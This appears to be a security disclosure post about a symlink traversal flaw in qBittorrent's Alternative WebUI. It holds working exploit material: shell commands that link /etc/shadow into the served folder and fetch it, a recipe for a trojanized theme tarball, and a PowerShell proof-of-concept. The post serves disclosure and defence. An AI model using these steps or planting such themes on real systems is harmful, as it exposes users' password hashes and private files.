This vulnerability was reported on 3/12/2026 and is being made public after a 90 day disclosure window.
TLDR
I found a symlink traversal vulnerability in qBittorrent’s Alternative WebUI feature that allows reading arbitrary files accessible to the qBittorrent process. The bug is an off-by-one in scope: the existing symlink validation loop checks every parent directory in the path, but never checks the served file itself. A symlink placed directly in the alt UI directory slips through the guard completely.
CVE: N/A
Fixed in: N/A
CVSS 3.1: 3.9 (Low) — AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:N/A:N
Background
qBittorrent supports an Alternative WebUI feature that lets users replace the built-in web interface with a custom one. When enabled, qBittorrent serves static files from a user-configured directory. Since serving arbitrary files from disk is inherently risky, qBittorrent has two guards in place:
- A regular file check only
std::filesystem::is_regular_file()results are served - A symlink walk walks up the directory tree checking each component for symlinks
The idea is straightforward: don’t serve symlinks, don’t serve directories, don’t serve special files. But the implementation has a gap.
The Bug
Here’s the relevant code from src/webui/webapplication.cpp (simplified):
// Guard 1: only serve regular filesif (!Utils::Fs::isRegularFile(localPath)) throw InternalServerErrorHTTPError("Unacceptable file type, only regular file is allowed.");// Guard 2: walk the path checking for symlinksQFileInfo fileInfo {localPath.parentPath().data()}; // <-- starts at PARENTwhile (fileInfo.path() != rootFolder){ if (fileInfo.isSymLink()) throw InternalServerErrorHTTPError("Symlinks inside alternative UI folder are forbidden."); fileInfo.setFile(fileInfo.path());}
The two guards are each doing their job, but they leave a gap between them:
- Guard 1 calls
is_regular_file(), which follows symlinks. A symlink pointing to a regular file passes this check, it looks regular. - Guard 2 calls
isSymLink()on each path component, which does not follow symlinks, exactly what you want. But it starts atlocalPath.parentPath(), so the file itself is never inspected.
The result: a symlink sitting directly in the served directory pointing to a regular file passes both guards.
Exploitation
The exploit is trivial. Create a symlink inside the alt WebUI’s public directory pointing to any file the qBittorrent process can read, then request it through the WebUI.
Linux:
ln -s /etc/shadow /path/to/altui/public/leak.txtcurl http://localhost:8080/leak.txt# => contents of /etc/shadow
Windows (requires administrator for symlink creation):
mklink C:\qbt-altui\public\leak.txt C:\Users\admin\Documents\sensitive.txt
The realistic attack: malicious alt WebUI themes
The most practical attack vector isn’t manually planting symlinks, it’s distributing a malicious alt WebUI theme. A tarball containing a symlink can be crafted easily:
mkdir -p evil-theme/publicecho '<html><body>Nice theme</body></html>' > evil-theme/public/index.htmlln -s /etc/shadow evil-theme/public/leak.txttar czf evil-theme.tar.gz evil-theme/
A user who downloads and extracts this theme, then points qBittorrent’s alt WebUI setting at it, unknowingly exposes files on their system. The theme looks and functions normally, there’s no visible indication anything is wrong.
This is particularly concerning because alt WebUI themes are community-distributed and there is no code signing or integrity checking mechanism.
POC
# qBittorrent Alt WebUI Symlink Traversal PoC (Windows)# Requires: Administrator or Developer Mode enabled## Usage:# .\poc_windows.ps1# .\poc_windows.ps1 -Target "C:\Users\admin\Documents\secrets.txt"# .\poc_windows.ps1 -WebUIPort 9090param( [string]$Target = "C:\Windows\win.ini", [string]$ThemeDir = "$env:TEMP\qbt-theme", [int]$WebUIPort = 8080)Write-Host "`n=== qBittorrent Alt WebUI Symlink Traversal PoC ===" -ForegroundColor Cyan# Clean up any previous runif (Test-Path $ThemeDir) { Remove-Item -Recurse -Force $ThemeDir }# Create theme structureNew-Item -ItemType Directory -Path "$ThemeDir\public" -Force | Out-NullNew-Item -ItemType Directory -Path "$ThemeDir\private" -Force | Out-Null$html = @"<!DOCTYPE html><html><head><title>qBittorrent</title></head><body><p>Loading...</p><script>window.location = '/api/v2/auth/login';</script></body></html>"@$html | Set-Content "$ThemeDir\public\index.html"$html | Set-Content "$ThemeDir\private\index.html"# Create symlink (requires admin or Developer Mode)try { New-Item -ItemType SymbolicLink -Path "$ThemeDir\public\leak.txt" -Target $Target -ErrorAction Stop | Out-Null Write-Host "[+] Symlink created: public\leak.txt -> $Target" -ForegroundColor Green} catch { Write-Host "[!] Failed to create symlink. Run as Administrator or enable Developer Mode." -ForegroundColor Red exit 1}Write-Host "`n[*] Theme directory: $ThemeDir" -ForegroundColor YellowWrite-Host "[*] Configure qBittorrent:" -ForegroundColor YellowWrite-Host " 1. Options > Web UI > Use alternative Web UI" -ForegroundColor WhiteWrite-Host " 2. Set path to: $ThemeDir" -ForegroundColor WhiteWrite-Host " 3. Browse to: http://localhost:$WebUIPort/leak.txt" -ForegroundColor White# If qBittorrent WebUI is already running, try to fetch the fileWrite-Host "`n[*] Attempting to fetch leak.txt..." -ForegroundColor Yellowtry { $response = Invoke-WebRequest -Uri "http://localhost:$WebUIPort/leak.txt" -UseBasicParsing -ErrorAction Stop Write-Host "[+] VULNERABILITY CONFIRMED - File contents:" -ForegroundColor Red Write-Host $response.Content -ForegroundColor Red} catch { Write-Host "[*] Could not reach WebUI at port $WebUIPort. Enable alt WebUI and try manually." -ForegroundColor Yellow}
Severity
I rated this Low (CVSS 3.9) because exploitation requires a very specific chain of conditions:
- Alternative WebUI must be enabled (off by default)
- The attacker needs write access to the alt WebUI directory (either directly or via a trojanized theme)
- The qBittorrent process must have read access to the target file
- On Windows, symlink creation requires administrator privileges, which makes the bug nearly irrelevant there
Despite the low severity score, the malicious theme vector is worth taking seriously. Users installing third-party themes have no reason to expect that doing so could expose arbitrary files on their system.
Timeline
- 03/12/2026: Vulnerability reported via GitHub private security advisory
- 07/03/2026: Public disclosure